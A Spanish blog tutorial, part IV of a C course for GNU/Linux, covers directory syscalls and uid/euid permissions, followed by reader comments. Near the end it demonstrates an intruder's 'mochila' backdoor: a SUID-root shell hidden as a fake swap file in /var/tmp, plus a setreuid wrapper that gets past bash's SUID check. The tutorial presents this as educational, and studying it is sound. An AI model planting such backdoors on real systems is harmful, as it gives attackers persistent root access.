Curso de programación en C para GNU/Linux (IV)

En la pasada entrega de este curso de programación en C para GNU/Linux comenzamos a usar nuestras primeras llamadas al sistema (syscalls). Vamos a seguir donde lo dejamos, trabajando con directorios y con los permisos (modos de acceso) de los ficheros.

 

Manejo de directorios

Ya hemos visto las syscalls más básicas –y más importantes- a la hora de manejar ficheros, pero muchas veces con esto no basta para funcionar dentro del Sistema de Ficheros. También es necesario controlar en qué directorio estamos, cómo crear o borrar un directorio, poder saltar a otro directorio o incluso recorrer un árbol de directorios al completo. En este apartado estudiaremos cada una de esas funciones detalladamente.

Comencemos por lo más sencillo: ¿dónde estoy? Es decir, ¿cuál es el directorio de trabajo actual (CWD)? Las funciones encargada de proporcionarnos ese dato son getcwd(), getcurrent_dir_name() y getwd(), y tienen los siguientes prototipos:

char *getcwd(char *buf, size_t size);
char *get_current_dir_name(void);
char *getwd(char *buf);

La función getcwd() devuelve una cadena de caracteres con la ruta completa del directorio de trabajo actual, que almacenará en el buffer “buf”, de tamaño “size”. Si el directorio no cabe en el buffer, retornará NULL, por lo que es conveniente usar alguna de las otras dos funciones. Veamos un ejemplo de su funcionamiento:

#include <unistd.h>

int main( int argc, char *argv[] )
{
  char buffer[512];

  printf( "El directorio actual es: %s\n",
           getcwd( buffer, -1 ) );

   return 0;
}

Este programa funciona correctamente para el directorio actual (“/home/txipi”), como podemos observar:

txipi@neon:~ $ ./getcwd
El directorio actual es: /home/txipi

Otra posibilidad para obtener el directorio actual podría ser la de leer la variable en entorno “PWD”. Cuando hacemos un “echo $PWD” en el intérprete de comandos, conseguimos la misma información que getcwd(). Por lo tanto, podríamos servirnos de la función getenv() para tomar el valor de la variable de entorno “PWD”. Para más detalles, consultar la página del man de getenv().

Si lo que queremos es movernos a otro directorio, deberemos utilizar alguna de estas funciones:

int chdir(const char *path);
int fchdir(int fd);

Como en anteriores ocasiones, su funcionamiento es el mismo, sólo que en la primera el nuevo directorio de trabajo es pasado como una cadena de caracteres, y en la segunda como un descriptor de fichero previamente abierto. Ambas devuelven 0 si todo ha ido bien, y –1 si se ha producido algún error.

Para crear y borrar directorios tenemos una serie de funciones a nuestra disposición, con prototipos muy familiares:

int mkdir(const char *pathname, mode_t mode);
int rmdir(const char *pathname);

Ambas son el fiel reflejo de los comandos que representan: rmdir() borra el directorio especificado en “pathname” y exige que éste esté vacío, mkdir() crea el directorio especificado en “pathname”, con el modo de acceso especificado en el parámetro “mode” (típicamente un valor octal como “0755”, etc.). Un ejemplo de su manejo aclarará todas nuestras posibles dudas:

#include <unistd.h>

int main( int argc, char *argv[] )
{
  char buffer[512];

  printf( "El directorio actual es: %s\n",
           getcwd( buffer, -1 ) );
  chdir( ".." );
  mkdir( "./directorio1", 0755 );
  mkdir( "./directorio2", 0755 );
  rmdir( "./directorio1" );

  return 0;
}

Probemos a ver si todo funciona correctamente:

txipi@neon:~$ gcc directorios.c -o directorios
txipi@neon:~$ mkdir prueba
txipi@neon:~$ mv directorios prueba/
txipi@neon:~$ cd prueba/
txipi@neon:~/prueba$ ./directorios
El directorio actual es: /home/txipi/prueba
txipi@neon:~/prueba$ ls
directorios
txipi@neon:~/prueba$ cd ..
txipi@neon:~$ ls
directorios.c  directorio2
txipi@neon:~$ ls -ld directorio2/
drwxr-xr-x  2 txipi   users   4096 2002-11-12 19:11 directorio2/

Parece que sí. De momento estamos teniendo bastante suerte, pero porque todo lo visto hasta ahora era muy fácil. Vamos a ver si somos capaces de darle más vidilla a esto, y poder hacer un recorrido de directorios a través de las complicadas y tenebrosas estructuras dirent. Las funciones relacionadas con el listado de directorios son las siguientes:

DIR *opendir(const char *name);
struct dirent *readdir(DIR *dir);
int closedir(DIR *dir);

Con la primera de ellas conseguimos una variable de tipo DIR en función de una ruta definida por la cadena de caracteres “name”. Una vez obtenida dicha variable de tipo DIR, se la pasamos como parámetro a la función readdir(), que nos proporcionará un puntero a una estructura de tipo dirent, es decir, a la entrada del directorio en concreto a la que hemos accedido. En esa estructura dirent tendremos todos los datos de la entrada de directorio que a la que estamos accediendo: inodo, distancia respecto del comienzo de directorio, tamaño de la entrada y nombre:

struct dirent {
 	ino_t d_ino; // numero de i-node de la entrada de directorio
 	off_t d_off; // offset
 	wchar_t d_reclen; // longitud de este registro
 	char d_name[MAX_LONG_NAME+1] // nombre de esta entrada
}

A primera vista parece compleja, pero ya hemos lidiado con estructuras más grandes como stat, y, además, sólo nos interesa el último campo. Bueno, ya estamos en disposiciones de recorrer un directorio: lo abriremos con opendir(), iremos leyendo cada una de sus entradas con readdir() hasta que no queden más (readdir() no devuelva NULL), y cerraremos el directorio con closedir(), es simple:

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>

int main( int argc, char *argv[] )
{
  DIR *dir;
  struct dirent *mi_dirent;

  if( argc != 2 )
  {
    printf( "%s: %s directorio\n", argv[0], argv[0] );
    exit( -1 );
  }

  if( (dir = opendir( argv[1] )) == NULL )
  {
    perror( "opendir" );
    exit( -1 );
  }

  while( (mi_dirent = readdir( dir )) != NULL )
    printf( "%s\n", mi_dirent->d_name );

  closedir( dir );

  return 0;
}

El resultado de la ejecución de este programa se parece mucho al esperado:

txipi@neon:~$ gcc dirs.c -o dirs
txipi@neon:~$ ./dirs
./dirs: ./dirs directorio
txipi@neon:~$ ./dirs .
.
..
files.c
files
stat.c
stat
makefile
clean
getcwd.c
getcwd
directorios.c
dirs.c
prueba
directorio2
dirs

Jugando con los permisos

Antes de meternos con la comunicación entre procesos me gustaría comentar algunas curiosidades sobre los permisos en GNU/Linux. Como ya hemos dicho al principio de este capítulo, mientras un programa se está ejecutando dispone de una serie de credenciales que le permiten acreditarse frente al sistema a la hora de acceder a sus recursos, es decir, son como la tarjeta de acceso en un edificio muy burocratizado como pueda ser el Pentágono: si tu tarjeta es de nivel 5, no puedes acceder a salas de nivel 6 o superior, las puertas no se abren (y además es probable que quede un registro de tus intentos fallidos). Dentro de esas credenciales, las que más se suelen utilizar son el uid y el gid, así como el euid y el egid. Estas dos parejas informan de qué usuario real y efectivo está ejecutando el programa en cuestión, para dotarle de unos privilegios o de otros.

Para la mayoría de programas, con el euid es suficiente: si eres “efectivamente” el usuario root, tienes privilegios de root durante la ejecución de esa tarea, a pesar de que tu usuario real sea otro. Esto sucede mucho en ejecutables que tienen el bit de SUID activado: convierten a quien los ejecuta en el usuario propietario de ese ejecutable. Si dicho usuario era root, al ejecutarlos te conviertes momentáneamente en root. Esto permite, por ejemplo, que un usuario normal pueda cambiar su contraseña, es decir, modificar el fichero “/etc/shadow”, a pesar de no tener grandes privilegios en el sistema. El comando “passwd” hace de puerta de enlace, por así llamarlo, entre la petición del usuario y la modificación del fichero protegido:

txipi@neon:~$ ls -l /etc/shadow
-rw-r-   1 root   shadow   1380 2002-11-12 20:12 /etc/shadow
txipi@neon:~$ passwd txipi
Changing password for txipi
(current) UNIX password:
Bad: new and old password are too similar     (hummmm...)
Enter new UNIX password:
Retype new UNIX password:
Bad: new password is too simple               (arghhh!!!!)
Retype new UNIX password:
Enter new UNIX password:
passwd: password updated successfully         (ufff!!)
txipi@neon:~$ which passwd
/usr/bin/passwd
txipi@neon:~$ ls -l /usr/bin/passwd
-rwsr-xr-x  1 root  root  25640 2002-10-14 04:05 /usr/bin/passwd

Como vemos inicialmente, el fichero “/etc/shadow” está protegido contra escritura para todos los usuarios excepto para root, y aun así (¡después de desesperarme un poco!), he podido cambiar mi contraseña, es decir, modificarlo. Esto es posible gracias a que el programa “/usr/bin/passwd” que he utilizado, tiene a root como propietario, y el bit de SUID activado (“-rwsr-xr-x”).

¿Cómo gestionar todo esto en nuestros programas en C? Utilizando las siguientes funciones:

uid_t getuid(void);
uid_t geteuid(void);
int setuid(uid_t uid);
int seteuid(uid_t euid);
int setreuid(uid_t ruid, uid_t euid);

Con las dos primeras obtenemos tanto el uid como el euid del proceso en ejecución. Esto puede resultar útil para hacer comprobaciones previas. El programa “nmap”, por ejemplo, comprueba si tienes privilegios de root (es decir, si euid es 0) antes de intentar realizar ciertas cosas. Las otras tres funciones sirven para cambiar nuestro uid, euid o ambos, en función de las posibilidades, esto es, siempre y cuando el sistema nos lo permita: bien porque somos root, bien porque queremos degradar nuestros privilegios. Las tres retornan 0 si todo ha ido bien, o –1 si ha habido algún error. Si les pasamos –1 como parámetro, no harán ningún cambio, por lo tanto:

setuid(uid_t uid) equivale a setreuid(uid_t ruid, -1)
seteuid(uid_t euid) equivale a setreuid(-1, uid_t euid);

Analicemos ahora un caso curioso: antiguamente, cuando no se utilizaba bash como intérprete de comandos, algunos intrusos utilizaban una técnica que se conoce vulgarmente con el nombre de “mochila” o “puerta trasera”. Esta técnica se basaba en el hecho de que una vez conseguido un acceso como root al sistema, se dejaba una puerta trasera para lograr esos privilegios el resto de veces que se quisiera, de la siguiente forma:

neon:~# cd /var/tmp/
neon:/var/tmp# cp /bin/sh .
neon:/var/tmp# chmod +s sh
neon:/var/tmp# mv sh .23erwjitc3tq3.swp

Primero conseguían acceso como root (de la forma que fuera), seguidamente copiaban en un lugar seguro una copia de un intérprete de comandos, y habilitaban su bit de SUID. Finalmente lo escondían bajo una apariencia de fichero temporal. La próxima vez que ese intruso accediese al sistema, a pesar de no ser root y de que root haya parcheado el fallo que dio lugar a esa escalada de privilegios (fallo en algún servicio, contraseña sencilla, etc.), utilizando esa “mochila” podrá volver a tener una shell de root:

txipi@neon:~$ /var/tmp/.23erwjitc3tq3.swp
sh-2.05b# whoami
root
sh-2.05b#

Actualmente, con bash, esto no pasa. Bash es un poco más precavida y se cuida mucho de las shells con el bit de SUID activado. Por ello, además de fijarse sólo en el euid del usuario que llama a bash, comprueba también el uid. Utilizando las funciones que hemos visto, seremos capaces de engañar completamente a bash:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main( int argc, char **argv )
{
	uid_t uid, euid;

	uid = getuid();
	euid = geteuid();
	setreuid( euid, euid );
	system( "/bin/bash" );

	return 0;
}

De esta manera, justo antes de llamar a “/bin/bash” nos hemos asegurado de que tanto el uid como el euid corresponden a root y la “mochila” funcionará:

neon:/var/tmp# gcc mochila.c -o .23erwjitc3tq3.swp
neon:/var/tmp# chmod +s .23erwjitc3tq3.swp
neon:/var/tmp# ls -l .23erwjitc3tq3.swp
-rwsr-sr-x 1 root root  5003 2002-11-12 20:52 .23erwjitc3tq3.swp
neon:/var/tmp# exit
exit
txipi@neon:~$ /var/tmp/.23erwjitc3tq3.swp
sh-2.05b# whoami
root
sh-2.05b#

Por este tipo de jueguitos es por los que conviene revisar a diario los cambios que ha habido en los SUIDs del sistema 😉

13 pensamientos en “Curso de programación en C para GNU/Linux (IV)

  1. txipi

    Ey, EwS, gracias por el comentario 😉

    Yo te sigo también con mucho interés en tus andanzas por SF, está genial cuando cuentas algo de su cultura que es totalmente diferente a la nuestra, o esos gráficos que te curras. No suelo poner comentarios porque serían todos del tipo: muy chulo! sigue así!!! 😀

    Responder
  2. salasa

    Hola escribo porque tengo una duda, lo que quiero hacer es algo parecido a lo se hace en el ejemplo de opendir, readdir y closedir, pero me gustaria saber si hay algun modo de que el proceso pueda diferenciar entre directorios y ficheros.

    Responder
  3. damian

    hola! queria saber como puedo realizar la busqueda de un file por inclusion es decir yo busco “archivo123.dat” y en el directorio existen “archivo123.dat” y “archivo1234.dat”,claro hacer todo esto desde las herramientas q C me brinda ;), deberia hacer un systemcall? en definitiva yo tengo q hacer un cliente-servidor y mi cliente envia la cadena “archivo123.dat” y del servidor obtendria la respuesta.
    bueno desde ya muchas gracias
    muy buen site!

    Responder
  4. Pingback: Apuntes y recursos » Blog Archive » Teoria sobre struct dirent - DSSOO

  5. choff

    Gracias por todo lo que cuentas, me estas salvando el ojete con una practica de la facultad, la cual tenemos que hacer, pero no esta nada bien explicada… y gracias a como explicas el funcionamiento de todo soy capaz de hacer sin problemas.

    Un saludo y sigue asi!.

    Responder
  6. alfred

    holas..^.^
    algo me ayudo …
    bueno..pero kisiera saber como obtengo el tamaño de un hd.espacio libre,ocupado y total …como tb un explorador de directoris…
    bueno es una tarea ke consiste en : monitorear el almacenamiento en disco
    y aun no encuentro mucha informacion aver si alguna me ayuda ..
    gracias de antemano

    Responder
  7. clavelito

    Gracias por la explicación Tixy!!!
    estaba buscando cómo imprimir los nombres de los files del directorio actual sin depths….
    Espero puedan ayudarme a identificar el error de este código:

    #include
    #include
    #include
    #include
    #include
    #include

    void printdir(char *getcwd())
    {
    DIR *dp;
    struct dirent *entry;
    struct stat statbuf;
    if((dp= opendir(dir)==NULL)
    {
    frprintf(stderr,”cannot open directory: %s \n”,dir);
    return;
    }
    chdir($pwd);
    while((entry=readdir(dp)) != NULL)
    {
    lstat(entry->d_name,&statbuf);
    if(IS_DIR(statbuf.st_mode)
    printdir(entry->d_name);
    else
    printf(“%*s%s\n”,entry->d_name);
    }
    closedir(dp);
    }
    int main()
    {
    printf(“… Scanning current directory\n”);
    printdir(“./”);
    printf(“done.\n”);

    exit(0);
    }

    Responder

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *